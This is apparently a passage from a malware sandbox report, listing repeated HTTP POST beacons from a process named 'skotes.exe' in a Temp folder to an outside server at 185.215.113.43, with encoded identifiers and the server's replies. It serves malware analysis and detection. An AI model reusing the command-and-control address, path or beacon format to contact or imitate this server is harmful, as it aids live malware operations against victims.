Nov 11, 2024 12:43:19.734057903 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:43:20.372894049 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:43:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	50209	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:43:21.897595882 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:43:22.540313959 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:43:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	50214	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:43:24.170218945 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:43:24.805685997 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:43:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.6	50216	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:43:26.320225000 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:43:26.964982033 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:43:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.6	50219	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:43:28.580161095 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:43:29.232659101 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:43:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.6	50220	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:43:30.751656055 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:43:31.406234980 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:43:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.6	50221	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:43:33.047344923 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:43:33.685836077 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:43:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.6	50222	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:43:35.203213930 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:43:35.846765995 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:43:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	50223	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:43:37.484788895 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:43:38.121290922 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:43:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	50224	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:43:39.641343117 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:43:40.285720110 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:43:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	50225	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:43:41.907252073 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:43:42.548983097 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:43:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	50226	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:43:44.064945936 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:43:44.705991983 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:43:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.6	50227	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:43:46.330162048 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:43:47.077539921 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:43:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.6	50228	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:43:48.592890978 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:43:49.234245062 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:43:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.6	50229	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:43:50.858405113 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:43:51.496877909 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:43:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	50230	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:43:53.010442019 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:43:53.654458046 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:43:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.6	50231	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:43:55.279546022 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:43:55.917787075 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:43:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.6	50232	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:43:57.436817884 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:43:58.079761982 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:43:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.6	50233	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:43:59.702831030 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:44:00.341207027 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:44:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.6	50234	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:44:01.865557909 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:44:02.516624928 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:44:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.6	50235	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:44:04.155838013 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:44:04.798424959 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:44:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.6	50236	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:44:06.312166929 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 11, 2024 12:44:06.972346067 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:44:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.6	50237	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 12:44:08.595392942 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 11, 2024 12:44:09.234685898 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 11:44:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.6	50238	185.215.113.43	80	8800	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
